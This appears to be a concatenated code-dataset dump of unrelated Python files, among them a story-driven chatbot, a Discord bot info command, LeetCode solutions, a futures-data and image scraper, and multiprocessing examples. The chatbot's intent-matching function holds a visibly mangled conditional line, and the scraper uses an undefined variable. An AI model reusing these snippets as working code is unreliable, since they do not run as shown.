__init__(self, tf_session, intents = {}, stories = {}, current_story = None, chat_history = [], story_progress = 0):\n \n self.intents = intents\n self.chat_history = chat_history\n self.stories = stories\n self.current_story = current_story\n self.story_progress = story_progress\n self.session = tf_session\n self.create_character()\n\n ######### Storing/Retrieving data ############\n def store_data(self):\n with open(\"sample.json\", \"w\") as file:\n json.dump(self.intents, file)\n\n def retrieve_data(self):\n with open(\"sample.json\", \"r\") as file:\n self.intents.update(json.load(file))\n \n def add_story(self, name, story):\n self.stories[name] = story\n\n def get_story(self, name):\n return self.stories[name]\n\n #Will shift these stories to csv file once time permits\n def add_story_see_me(self):\n name = 'see_me'\n story = Story(name,{})\n story.create_starting_intent('player_sees_odo',1,\n default_intents,\n ['Can you do the same?']\n )\n story.create_script_intent('lift_arms', 3,\n ['okay','no','where','what','?','how'],\n ['Lift your arms, would you do this?']\n )\n story.create_script_intent('lift_arms_phone', 4,\n default_intents,\n ['Lift your arm with the ODO-PHONE. See what I can see from you...']\n )\n story.create_script_intent('connected', 6,\n default_intents,\n ['We are connected with the phone, you see?']\n )\n story.create_script_intent('welcome', 8,\n default_intents,\n ['Hi everybody. Welcome to my planet...']\n )\n story.create_script_intent('about_me', 9,\n default_intents,\n ['I would like to tell you something about me. Are you interested?']\n )\n story.create_script_intent('about_me_2', 10, \n default_intents,\n ['Listen. My name is Odo, you know. I do not live on a planet like you, I am the planet. You get me?']\n )\n story.create_script_intent('explain', 13,\n ['no', 'okay', 'yes', 'yeah', 'whatever', 'go on', 'not at all', 'nah'],\n ['Let me explain. I am the planet ODO. Imagine me as a cloud. Inside the cloud there is light and darkness, coldness and heat, desserts and mountains, crowds and loneliness, all and nothing... Do you have any questions?']\n )\n story.create_script_intent('my_body', 20,\n default_intents + ['i do not understand', 'what', 'kinda', 'somewhat', 'i think i do'],\n ['This is my body. I live here on stage. Do not think of me as a light bulb. I do not need to be replaced, even though living here can be stressful at times. Okay, from time to time I have to retire for not to burn over. Where do you live? Do you live in a cloud or in a house?']\n )\n story.create_script_intent('house_transition_cave', 30,\n ['mountain', 'cave', 'forest', 'jungle'],\n ['You stay amongst nature!!']\n )\n story.create_script_intent('house_transition_apartment', 30,\n ['tempe', 'city', 'street', 'planet', 'house'],\n ['You stay in crowded places']\n )\n story.create_script_intent('exit', 100,\n ['bye', 'see you', 'tada', 'chao'],\n ['nice talking to you, bye!']\n )\n # story.create_script_intent('exit', 40,\n # ['tempe', 'city', 'street', 'planet', 'house'],\n # ['You stay in crowded places']\n # )\n # story.create_script_intent('rose_left', 30,\n # [\"why did you leave her\", \"you left her alone\",\"you should not have left ehr alone\"],\n # [\"My planet is very small. I live alone there. I used to water my rose everyday. I know, I should not have left her alone.\\nOf the million stars in the sky, she was the single rose I knew and I was the little Prince she talked to. Why do rose have thorns?\"]\n # )\n # story.create_script_intent('rose_thorns', 40,\n # [\"thorn\",\"thorns\",\"rose have thorns to protect them\",\"i do not know\",\"how can I know\",\"i have never seen a thorn on rose\",\"to protect them\",\"fight against animals\",\"protect them from those who want to eat them\"],\n # [\"My rose showed me her four thorns. She said it will protect her from claws of tiger. \\nBut they are so weak. I think she told me this to let me go. She does not want me to see her tears. \\nI should not have beleived her. I think I should not have left. Do you think I was right to leave?\"]\n # )\n\n # story.create_script_intent('rose_leave', 70,\n # [\"tiger\",\"no\",\"yes\",\"why did not you stop\",\"where were you going\",\"why did you leaver her\",\"why did you leave\", \"You should not have left\",\"how did you leave\",\"you should not have left your rose alone\"],\n # [\"I should have stayed. But,I wanted to see the stars. So I hooked onto one of the migratory birds. \\nI have seen many planets. One planet had a businessman who was very serious like you. One had an old king who ruled over stars. \\nOne had a pole lighter. Would you like to know what I found out about these people?\"]\n # )\n # story.create_script_intent('rose_wind', 70,\n # [\"does wind blow at your planet\",\"how do you have wind\",\"does your planet has atmosphere\",\"in which direction does wind blow\"],\n # [\"I do not know about the wind. But, what I know is wind brings migratory birds. I wanted to see the stars. \\nSo, I hopped onto one of the birds. I feel sorry for leaving my rose behind. \\nBut I was excited about stars. I have travelled to different planets.\\nOne planet had a businessman who was very serious like you. One had an old king who ruled over stars. One had a pole lighter. \\nWould you like to know what I found out about these people?\"]\n # )\n # story.create_script_intent('rose_planet', 75,\n # [\"how many planets do you have\",\"do you have life on all the planets\",\"life exists only on earth\"],\n # [\"You have started talking like grown ups. I do not have answer to these questions. \\nWhat I know is that I meet different people who lived on different planet. So, tell me, would you like to know more about my adventure?\"]\n # )\n # story.create_script_intent('rose_adventure_yes', 76,\n # [\"yes\", \"i would like to know more\", \"yeah\",\"oh yeah\"],\n # [\"Oh! great. Which one? The businessman or the king or the pole lighter?\"]\n # )\n # story.create_script_intent('rose_adventure_no', 76,\n # [\"no\", \"not now\", \"tell me something else\"],\n # [\"I am sorry. I have only ths much to share. I was nice talking to you. Good bye!\"]\n # )\n # story.create_script_intent('rose_transition_businessman', 90,\n # [\"businessman\", \"the businessman\", \"how about the businessman\"],\n # [\"Hmm... the businessman. How are businessman in your planet?\"]\n # )\n # story.create_script_intent('rose_transition_king', 90,\n # [\"king\"],\n # [\"Oh! the king. Have you ever met a king before?\"]\n # )\n # story.create_script_intent('rose_transition_lighter', 90,\n # [\"lighter\"],\n # [\"Yes, the lighter. Have you made friends with a pole lighter before?\"]\n # )\n self.add_story(name,story)\n \n\n def add_story_king(self):\n print('')\n\n def add_story_lighter(self):\n print('')\n \n def add_story_cave(self):\n name = 'cave'\n story = Story(name,{})\n story.create_script_intent('house_transition_cave', 1,\n ['mountain', 'cave', 'forest', 'jungle'],\n ['You stay amongst nature!!']\n )\n story.create_starting_intent('cave_intro',2,\n default_intents,\n ['It must be a beautiful experience to amongst nature all the time']\n )\n story.create_script_intent('cave_intro_2', 3,\n default_intents,\n [\"I wish I had chance to stay in these places, but I cant, becuase I cant move\"]\n )\n story.create_script_intent('exit', 100,\n ['bye', 'see you', 'tada', 'chao'],\n ['nice talking to you, bye!']\n )\n # story.create_script_intent('business_yes_no', 10,\n # [\"yes\",\"no\",\"i have met a businessman before\", 'i know a businessman', \"i do not know a businessman\"],\n # [\"I once met a businessman who lived in a planet. He used to sit behind the desk and just do addition and subtraction. \\nHe seemed very serious. Do you like serious people?\"]\n # )\n\n # story.create_script_intent('business_serious_no', 20,\n # [\"no\",\"I like people who are light\", \"i like people who are happy and jolly\"],\n # [\"Hmm...Businessman are very serious. My businessman was always busy counting the stars.\"]\n # )\n # story.create_script_intent('business_serious_yes', 20,\n # [\"yes\",\"I like serious people\", \"i am a serious person\"],\n # [\"Serious people are so boring. I do not like them. The businessman used to count the stars.\"]\n # )\n # story.create_script_intent('business_why_count', 30,\n # [\"why\",\"why did he count the stars\", \"count the stars\", \"why was he counting\"],\n # [\"The businessman used to say that the stars are his since he saw them first.\"]\n # )\n # story.create_script_intent('business_why_boring', 30,\n # [\"boring\",\"businessman are not boring\", \"businessman are happy\", \"businessman are deceitful\", \"businessman are good friends\"],\n # [\"Hmm...Your businessman was not that boring them. My businessman used to count stars. He used to say that the stars are his since he saw them first.\"]\n # )\n self.add_story(name,story)\n\n def add_story_apartment(self):\n name = 'apartment'\n story = Story(name,{})\n story.create_script_intent('house_transition_apartment', 1,\n ['tempe', 'city', 'street', 'planet', 'house'],\n ['You stay in crowded places']\n )\n story.create_starting_intent('apartment_intro',3,\n default_intents,\n ['I do not like crowded places, I feel suffocated there']\n )\n story.create_script_intent('exit', 100,\n ['bye', 'see you', 'tada', 'chao'],\n ['nice talking to you, bye!']\n )\n\n # story.create_script_intent('rose_transition_businessman', 1,\n # [\"businessman\", \"the businessman\", \"how about the businessman\"],\n # [\"Hmm... the businessman. Do you know any businessman?\"]\n # )\n # story.create_script_intent('business_yes_no', 10,\n # [\"yes\",\"no\",\"i have met a businessman before\", 'i know a businessman', \"i do not know a businessman\"],\n # [\"I once met a businessman who lived in a planet. He used to sit behind the desk and just do addition and subtraction. \\nHe seemed very serious. Do you like serious people?\"]\n # )\n\n # story.create_script_intent('business_serious_no', 20,\n # [\"no\",\"I like people who are light\", \"i like people who are happy and jolly\"],\n # [\"Hmm...Businessman are very serious. My businessman was always busy counting the stars.\"]\n # )\n # story.create_script_intent('business_serious_yes', 20,\n # [\"yes\",\"I like serious people\", \"i am a serious person\"],\n # [\"Serious people are so boring. I do not like them. The businessman used to count the stars.\"]\n # )\n # story.create_script_intent('business_why_count', 30,\n # [\"why\",\"why did he count the stars\", \"count the stars\", \"why was he counting\"],\n # [\"The businessman used to say that the stars are his since he saw them first.\"]\n # )\n # story.create_script_intent('business_why_boring', 30,\n # [\"boring\",\"businessman are not boring\", \"businessman are happy\", \"businessman are deceitful\", \"businessman are good friends\"],\n # [\"Hmm...Your businessman was not that boring them. My businessman used to count stars. He used to say that the stars are his since he saw them first.\"]\n # )\n self.add_story(name,story)\n\n def add_story_my_planet(self):\n print('')\n\n def create_character(self):\n self.add_story_see_me()\n self.add_story_king()\n self.add_story_cave()\n self.add_story_apartment()\n self.add_story_lighter()\n self.add_story_my_planet()\n self.current_story = self.stories['see_me']\n self.intents = {}\n self.intents = self.current_story.intents\n\n def change_story(self,story_name):\n self.current_story = self.stories[story_name]\n self.story_progress = 0\n self.intents = self.current_story.intents\n\nclass UnivEncoder:\n def __init__(self, tf_session, intents):\n self.intents = intents\n self.session = tf_session\n self.embed = hub.Module(\"models/dialogue_system/3\")\n self.similarity_input_placeholder = tf.placeholder(tf.string, shape=(None))\n self.similarity_sentences_encodings = self.embed(self.similarity_input_placeholder)\n self.session.run(tf.global_variables_initializer())\n self.session.run(tf.tables_initializer())\n\n def set_intent(self, intent):\n self.intents = intent\n\n def get_intent(self, utterance, weight):\n for k, v in self.intents.items():\n if utterance in v.utterances and weight == v.weight:\n #print('intent:',k)\n return k\n #print(\"no intent matched\")\n return 'no_matching_intent'\n\n ## kk code for using eliza reply start##\n def chat_eliza(self, sent):\n try:\n chat_eliza = Chat(pairs)\n response = chat_eliza.respond(sent) \n except KeyError:\n response = \"Hmm, that doesnt sound like a meaningful sentence, try something else\"\n return (response)\n\n ## kk code for eliza reply end ##\n\n def match_intent(self, sent, story_progress):\n matched_utterance = None\n matched_weight = None\n prev_max = None\n max_index = None\n utterance_list = []\n weight_list = []\n\n ## kk ##\n values = []\n default_utterance = 'kkkkkkkk'\n default_weight = 100000000\n ## kk ##\n\n for k,v in self.intents.items():\n utterance_list = utterance_list + v.utterances\n for idx in range(len(v.utterances)):\n weight_list = weight_list + [v.weight]\n sentences = [sent]+utterance_list\n sentences_embeddings = self.session.run(self.similarity_sentences_encodings, feed_dict={self.similarity_input_placeholder: sentences})\n input_embed = sentences_embeddings[0]\n \n \n utterance_embed = sentences_embeddings[1:]\n max1 = -2\n max2 = 0.6 # This is the threshold, below which no matching of intent will happen\n\n ## kk code start ##\n for s in utterance_embed:\n values.append(np.inner(input_embed,s))\n\n print(max(values))\n\n if(max(values)= max1):\n max1 = sim\n prev_max = max_index\n max_index = index\n #print('max_index for:',utterance_list[max_index+1])\n #print(\"max:\",max1)\n if matched_utterance is None:\n if weight_list[max_index+1] > story_progress:\n matched_utterance = utterance_list[max_index+1]\n matched_weight = weight_list[max_index+1]\n else:\n if prev_max is not None:\n if weight_list[max_index+1] > story_progress and weight_list[max_index+1] < weight_list[prev_max+1]:\n matched_utterance = utterance_list[max_index+1]\n matched_weight = weight_list[max_index+1]\n return self.get_intent(matched_utterance, matched_weight)#USE THIS UTTERANCE TO GET THE INTENT AS THIS IS THE UTTERANCE WITH MAXIMUM SIMILARITY\n\n\n # def match_intent(self, sent, story_progress):\n # matched_utterance = None\n # matched_weight = None\n # prev_max = None\n # max_index = None\n # utterance_list = []\n # weight_list = []\n # for k,v in self.intents.items():\n # utterance_list = utterance_list + v.utterances\n # for idx in range(len(v.utterances)):\n # weight_list = weight_list + [v.weight]\n # sentences = [sent]+utterance_list\n # sentences_embeddings = self.session.run(self.similarity_sentences_encodings, feed_dict={self.similarity_input_placeholder: sentences})\n # input_embed = sentences_embeddings[0]\n \n \n # utterance_embed = sentences_embeddings[1:]\n # max1 = -2\n # for index, s in enumerate(utterance_embed):\n # sim = np.inner(input_embed,s)\n # if(sim >= max1):\n # max1 = sim\n # prev_max = max_index\n # max_index = index\n # #print('max_index for:',utterance_list[max_index+1])\n # #print(\"max:\",max1)\n # if matched_utterance is None:\n # if weight_list[max_index+1] > story_progress:\n # matched_utterance = utterance_list[max_index+1]\n # matched_weight = weight_list[max_index+1]\n # else:\n # if prev_max is not None:\n # if weight_list[max_index+1] > story_progress and weight_list[max_index+1] < weight_list[prev_max+1]:\n # matched_utterance = utterance_list[max_index+1]\n # matched_weight = weight_list[max_index+1]\n # return self.get_intent(matched_utterance, matched_weight)#USE THIS UTTERANCE TO GET THE INTENT AS THIS IS THE UTTERANCE WITH MAXIMUM SIMILARITY\n","repo_name":"ravibhushan0487/ODO","sub_path":"models/dialogue_system/dialogue_system.py","file_name":"dialogue_system.py","file_ext":"py","file_size_in_byte":26921,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"41368952347","text":"\nfrom google.appengine.ext import db\nfrom google.appengine.tools import bulkloader\n\nclass CloseApproachExporter(bulkloader.Exporter):\n def __init__(self):\n bulkloader.Exporter.__init__(self, 'CloseApproach',\n [('object_name', str, None),\n ('approach_date', str, None),\n ('minimum_distance_away', str, None),\n ('relative_velocity', str, None),\n ('estimated_diameter', str, None),\n ('date_added', str, None),\n ('date_tweeted', str, None)\n ])\n\nexporters = [CloseApproachExporter]\n","repo_name":"jdennes/justmissedearth-appengine","sub_path":"closeapproach_exporter.py","file_name":"closeapproach_exporter.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"12574818515","text":"import sys\n\nimport arrow\nimport discord\n\nSIGMA_IMAGE = 'https://i.imgur.com/DM8fIy6.png'\nSUPPORT_URL = 'https://discordapp.com/invite/aEUCHwX'\n\n\nasync def botinformation(cmd, pld):\n \"\"\"\n :param cmd: The command object referenced in the command.\n :type cmd: sigma.core.mechanics.command.SigmaCommand\n :param pld: The payload with execution data and details.\n :type pld: sigma.core.mechanics.payload.CommandPayload\n \"\"\"\n version = cmd.bot.info.get_version()\n authors = cmd.bot.info.get_authors().authors\n full_version = f'{version.major}.{version.minor}.{version.patch}'\n if version.beta:\n full_version += ' Beta'\n sigma_title = f'Apex Sigma: v{full_version} {version.codename}'\n env_text = f'Language: **Python** {sys.version.split()[0]}'\n env_text += f'\\nLibrary: **discord.py** {discord.__version__}'\n env_text += f'\\nPlatform: **{sys.platform.upper()}**'\n auth_text = ''\n for author in authors:\n auth = await cmd.bot.get_user(author.id)\n if auth:\n auth_text += f'\\n**{auth.name}**#{auth.discriminator}'\n else:\n auth_text += f'\\n**{author.name}**#{author.discriminator}'\n response = discord.Embed(color=0x1B6F5F, timestamp=arrow.get(version.timestamp).datetime)\n response.set_author(name=sigma_title, icon_url=SIGMA_IMAGE, url=SUPPORT_URL)\n response.add_field(name='Authors', value=auth_text)\n response.add_field(name='Environment', value=env_text)\n response.set_footer(text=f'Last updated {arrow.get(version.timestamp).humanize()}')\n await pld.msg.channel.send(embed=response)\n","repo_name":"lu-ci/apex-sigma-core","sub_path":"sigma/modules/utilities/information/botinformation.py","file_name":"botinformation.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"75"} +{"seq_id":"262163895","text":"from typing import List\n\n\nclass Solution:\n def permuteUnique(self, nums: List[int]) -> List[List[int]]:\n output = []\n\n def dfs(path, state=0):\n if len(path) == len(nums):\n output.append(path)\n return\n\n layer = set()\n for i, num in enumerate(nums):\n if state & (1 << i) == 0 and num not in layer:\n layer.add(num)\n dfs(path + [num], state | (1 << i))\n\n dfs([], 0)\n return output\n","repo_name":"KyleKurumin/leetcode-practice","sub_path":"lc0047.py","file_name":"lc0047.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"45183162533","text":"import requests\n\nfrom api.request.url import URL\n\n\ndef get_token(client_id, secret):\n data = {URL.GRANT_TYPE: URL.CLIENT_CREDENTIALS, URL.CLIENT_ID: client_id, URL.CLIENT_SECRET: secret}\n try:\n response = requests.post(URL.AUTH_URL, data)\n\n if response and response.status_code == 200:\n return response.json()['access_token']\n except Exception as e:\n print(f'Exception in get_token: {e}')\n return {}\n","repo_name":"prakhyatkarri/pytify","sub_path":"api/request/token.py","file_name":"token.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14067114922","text":"# link: https://leetcode.com/problems/snakes-and-ladders/\n\nfrom collections import deque\nclass Solution:\n def snakesAndLadders(self, board: List[List[int]]) -> int:\n ROW, COL = len(board), len(board[0])\n def numberToPosition(number):\n number -= 1\n row = (ROW - 1) - (number // COL)\n col = (number % COL) if ((ROW - 1) - row) % 2 == 0 else (COL - 1 - (number % COL))\n return (row, col)\n def positionToNumber(row, col):\n rowCount = (ROW-1) - row\n number = rowCount * COL + (col % COL if rowCount % 2 == 0 else (COL - 1 - col % COL) + 1)\n return number\n\n steps = 0\n queue = deque()\n queue.append(1)\n visited = set()\n\n # BFS\n while queue:\n size = len(queue)\n for _ in range(size):\n number = queue.popleft()\n for newNum in range(number+1, min(number+6, ROW*COL) + 1):\n newNumNoWarp = newNum\n if newNum in visited:\n continue\n if newNum == ROW * COL:\n return steps + 1\n row, col = numberToPosition(newNum)\n visited.add(newNum)\n if board[row][col] != -1:\n newNum = board[row][col]\n row, col = numberToPosition(newNum)\n if newNum == ROW * COL:\n return steps + 1\n # add to visited if there's a ladder/snake but we can't take it\n if board[row][col] == -1:\n visited.add(newNum)\n\n queue.append(newNum)\n steps += 1\n\n return -1\n","repo_name":"rbrn1999/leetcode-sol","sub_path":"problems/909. Snakes and Ladders.py","file_name":"909. Snakes and Ladders.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74436285041","text":"# -*- coding:utf-8 -*-\r\nfrom xlwt import *\r\nimport urllib.request\r\nimport os\r\nimport time\r\nimport io\r\nimport sys\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport pandas\r\nfrom WindPy import *\r\nimport datetime\r\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改变标准输出的默认编码\r\n# 打开URL,返回HTML信息\r\ndef open_url(url):\r\n # 根据当前URL创建请求包\r\n req = urllib.request.Request(url)\r\n # 添加头信息,伪装成浏览器访问\r\n req.add_header('User-Agent',\r\n 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36')\r\n # 发起请求\r\n response = urllib.request.urlopen(req)\r\n # 返回请求到的HTML信息\r\n return response.read()\r\n\r\n# 查找URL中的下一页页码\r\ndef get_page(url):\r\n # 请求网页,并解码\r\n html=open_url(url).decode('utf-8')\r\n # 在html页面中找页码\r\n a=html.find('current-comment-page')+23\r\n b=html.find(']',a)\r\n # 返回页码\r\n return html[a:b]\r\n\r\n# 查找当前页面所有图片的URL\r\ndef find_imgs(url):\r\n # 请求网页\r\n html=open_url(url).decode('utf-8')\r\n img_addrs=[]\r\n # 找图片\r\n a = html.find('img src=')\r\n #不带停,如果没找到则退出循环\r\n while a != -1:\r\n # 以a的位置为起点,找以jpg结尾的图片\r\n b = html.find('.jpg',a, a+255)\r\n # 如果找到就添加到图片列表中\r\n if b != -1:\r\n img_addrs.append(html[a+9:b+4])\r\n # 否则偏移下标\r\n else:\r\n b=a+9\r\n # 继续找\r\n a=html.find('img src=',b)\r\n return img_addrs\r\n\r\n# 保存图片\r\ndef save_imgs(img_addrs):\r\n for each in img_addrs:\r\n print('download image:%s'%each)\r\n filename=each.split('/')[-1]\r\n with open(filename,'wb') as f:\r\n img=open_url(\"http:\"+each)\r\n f.write(img)\r\n\r\n# 下载图片\r\n# folder 文件夹前缀名\r\n# pages 爬多少页的资源,默认只爬10页\r\ndef download_mm(folder='woman',pages=10):\r\n folder+= str(time.time())\r\n # 创建文件夹\r\n os.mkdir(folder)\r\n # 将脚本的工作环境移动到创建的文件夹下\r\n os.chdir(folder)\r\n\r\n # 本次脚本要爬的网站\r\n url='http://jandan.net/ooxx/'\r\n # 获得当前页面的页码\r\n page_num=int(get_page(url))\r\n for i in range(pages):\r\n page_num -= i\r\n # 建立新的爬虫页\r\n page_url=url+'page-'+str(page_num-1)+'#comments'\r\n # 爬完当前页面下所有图片\r\n img_addrs=find_imgs(page_url)\r\n # 将爬到的页面保存起来\r\n save_imgs(img_addrs)\r\n\r\nif __name__ == '__main__':\r\n w.start()\r\n l = w.tdays(\"2017-01-01\",\"2017-12-24\")\r\n #print(l)\r\n\r\n w.stop()\r\n file = Workbook(encoding = 'utf-8')\r\n #指定file以utf-8的格式打开\r\n filename = '99期货'#time.strftime('%Y%m%d-%H%M%S',time.localtime(time.time()));\r\n table = file.add_sheet(filename)\r\n table.write(0,0, '品种')\r\n table.write(0,1, '多头持仓')\r\n table.write(0,2, '空头持仓')\r\n table.write(0,3, '净头寸')\r\n table.write(0,4, '占交易所总持仓比例')\r\n table.write(0,5, '换手率')\r\n for mem in mems:\r\n count = 1\r\n for i in l.Times :\r\n date = i.strftime(\"%Y-%m-%d\")\r\n target = 'http://service.99qh.com/hold2/MemberGoodsHold/GetTableHtml.aspx?date='+date+'&mem='+ mem +'&user=99qh&script=no'\r\n req = requests.get(url = target)\r\n html = req.text\r\n bf = BeautifulSoup(html,'html.parser')\r\n data = pandas.read_html(req.text)[0]\r\n r = 0\r\n tempdata = data[[0,1,2,3,4,5]][(data[0]=='铁矿石')]\r\n table.write(count,0, tempdata.values[0][0])\r\n table.write(count,1, tempdata.values[0][1])\r\n table.write(count,2, tempdata.values[0][2])\r\n table.write(count,3, tempdata.values[0][3])\r\n table.write(count,4, tempdata.values[0][4])\r\n table.write(count,5, tempdata.values[0][5])\r\n table.write(count,6, '2017-12-22')\r\n count += 1\r\n file.save('C:/Users/admin/Desktop/'+filename+'.xls')\r\n\r\n'''\r\n for index,row in data[[0]].iterrows():\r\n #print(index) #获取行的索引\r\n #print (row.a) #根据列名获取字段\r\n sym = row[0]\r\n #print(sym)#根据列的序号(从0开始)获取字段\r\n if sym == '铁矿石':\r\n r = index\r\n break\r\n'''\r\n #print(r)\r\n #print(data)\r\n #print(type(data))\r\n","repo_name":"casdu-zhk/learning_py","sub_path":"getDataFrom99.py","file_name":"getDataFrom99.py","file_ext":"py","file_size_in_byte":4588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32213766148","text":"\nfrom sys_toolkit.configuration.base import ConfigurationSection\n\n\nclass HooksConfiguration(ConfigurationSection):\n \"\"\"\n Configuration for running code analysis hooks\n \"\"\"\n __name__ = 'hooks'\n __default_settings__ = {\n 'flake8': {\n 'flags': (\n '--verbose',\n ),\n },\n 'pylint': {\n 'flags': (\n '--msg-template={path}:{line}: [{msg_id}({symbol}), {obj}] {msg}',\n ),\n },\n }\n","repo_name":"hile/vaskitsa","sub_path":"vaskitsa/hooks/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43543136856","text":"# -*- coding: utf-8 -*-\n# @Author : Xiaoya Liu\n# @Time : 2023/4/7 11:48\n# @File : test.py\n\nimport planner.planning_utils\n\ndef main():\n # x = [1, 2, 3, 4, 5]\n # for i in range(len(x)-1, -1, -1):\n # print(x[i])\n\n from cvxopt import solvers, matrix\n\n P = matrix([[2., 1.], [1., 2.]])\n q = matrix([2., 1.])\n G = matrix([[-1., 0.], [0., -1.]])\n h = matrix([1., 1.])\n A = matrix([1., 1.], (1, 2))\n b = matrix(1.)\n\n solvers.options['show_progress'] = False\n sol = solvers.qp(P, q, G, h, A, b)\n\n print(sol)\n print(sol['x'])\n print(sol['primal objective'])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"6Lackiu/EMplanner_Carla","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"75"} +{"seq_id":"70466858801","text":"from threading import Thread\nfrom multiprocessing import Process\nimport os\nimport time\n\n\"\"\"\nmultiprocessing.set_start_method(method)\n设置启动子进程的方法。 method 可以是 'fork' , 'spawn' 或者 'forkserver' 。\n\n注意这最多只能调用一次,并且需要藏在 main 模块中,由 if __name__ == '__main__' 进行保护。\n\"\"\"\n\n# https://www.cnblogs.com/guapitomjoy/p/11537612.html\ndef func():\n print('hello pid ', os.getpid())\n\n\nif __name__ == '__main__':\n # 在主进程开启多个线程,每个线程都跟主进程pid一样\n t1 = Thread(target=func)\n t2 = Thread(target=func)\n t1.start()\n t2.start()\n\n # 开个多个子进程,每个进程都有不同的pid:\n p1 = Process(target=func)\n p2 = Process(target=func)\n p1.start()\n p2.start()\n\n print('主线程/主进程pid:', os.getpid())\n\nif __name__ == '__main__': # 如果不加 可能会重复,因为多进程\n print(\"------------1\")\n\nfrom multiprocessing import Pool\n\n\ndef f(x):\n return x * x\n\n\nif __name__ == '__main__':\n with Pool(5) as p:\n print(p.map(f, [1, 2, 3]))\n\nif __name__ == '__main__':\n print(\"--------------2\")\n\n\ndef fname(name):\n print('hello name ', name)\n\n\nif __name__ == '__main__':\n p = Process(target=fname, args=('bob',))\n p.start()\n p.join()\n\nif __name__ == '__main__':\n print(\"--------------Queue 通信\")\n\nfrom multiprocessing import Process, Queue\n\n\ndef fq(q):\n q.put([42, None, 'hello'])\n\n\nif __name__ == '__main__':\n q = Queue()\n p = Process(target=fq, args=(q,))\n p.start()\n print(q.get()) # prints \"[42, None, 'hello']\"\n p.join()\n\nif __name__ == '__main__':\n print(\"--------------Pipe 通信\")\n\nfrom multiprocessing import Process, Pipe\n\n\ndef fp(conn):\n conn.send([42, None, 'hello'])\n conn.close()\n\n\nif __name__ == '__main__':\n parent_conn, child_conn = Pipe()\n p = Process(target=fp, args=(child_conn,))\n p.start()\n print(parent_conn.recv()) # prints \"[42, None, 'hello']\"\n p.join()\n\nif __name__ == '__main__':\n print(\"--------------Lock 同步\")\nfrom multiprocessing import Process, Lock\n\n\ndef fl(l, i):\n l.acquire()\n try:\n print('hello world', i)\n finally:\n l.release()\n\n\nif __name__ == '__main__':\n lock = Lock()\n for num in range(10):\n Process(target=fl, args=(lock, num)).start()\n\nif __name__ == '__main__':\n print(\"--------------Value, Array 共享内存\")\n\nfrom multiprocessing import Process, Value, Array\n\ndef fav(n, a):\n n.value = 3.1415927\n for i in range(len(a)):\n a[i] = -a[i]\n\nif __name__ == '__main__':\n num = Value('d', 0.0)\n arr = Array('i', range(10))\n\n p = Process(target=fav, args=(num, arr))\n p.start()\n p.join()\n\n print(num.value)\n print(arr[:])\n\nif __name__ == '__main__':\n print(\"--------------Manager 服务进程管理\")\n# Manager() 返回的管理器支持类型: list 、 dict 、 Namespace 、 Lock 、 RLock 、 Semaphore 、 BoundedSemaphore 、 Condition 、 Event 、 Barrier 、 Queue 、 Value 和 Array 。\n\nfrom multiprocessing import Process, Manager\n\ndef fm(d, l):\n d[1] = '1'\n d['2'] = 2\n d[0.25] = None\n l.reverse()\n\nif __name__ == '__main__':\n with Manager() as manager:\n d = manager.dict()\n l = manager.list(range(10))\n\n p = Process(target=fm, args=(d, l))\n p.start()\n p.join()\n\n print(d)\n print(l)","repo_name":"kingreatwill/penter","sub_path":"library/lib_study/78_concurrency_multiprocessing.py","file_name":"78_concurrency_multiprocessing.py","file_ext":"py","file_size_in_byte":3414,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"75"} +{"seq_id":"29939306444","text":"#!/usr/bin/python3.4\n# vim:ts=4:sw=4:softtabstop=4:smarttab:expandtab\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Load Python objects from database records.\n\"\"\"\n\n\nfrom pycopia import logging\nfrom pycopia import module\nfrom pycopia.textutils import identifier\nfrom pycopia.QA import core\nfrom pycopia.QA.exceptions import InvalidObjectError, InvalidTestError\n\n\ndef get_test_class(dbcase):\n \"\"\"Return the implementation class of a TestCase, or None if not found.\n \"\"\"\n if dbcase.automated and dbcase.valid:\n impl = dbcase.testimplementation\n if impl:\n obj = module.get_object(impl)\n if type(obj) is type and issubclass(obj, core.TestCase):\n return obj\n else:\n raise InvalidTestError(\n \"{!r} is not a Test class object.\".format(obj))\n else:\n return None\n else:\n return None\n\n\ndef get_suite(dbsuite, config):\n \"\"\"Get a Suite object.\n\n Return the implementation class of a TestSuite, or a generic Suite\n instance if not defined.\n \"\"\"\n name = dbsuite.name\n if \" \" in name:\n name = identifier(name)\n impl = dbsuite.suiteimplementation\n if impl:\n try:\n obj = module.get_object(impl)\n except module.ObjectImportError:\n logging.warning(\n \"Did not find suite implementation {!r}.\".format(impl))\n else:\n if type(obj) is type and issubclass(obj, core.TestSuite):\n return obj(config, name=name)\n else:\n raise InvalidObjectError(\n \"{!r} is not a TestSuite 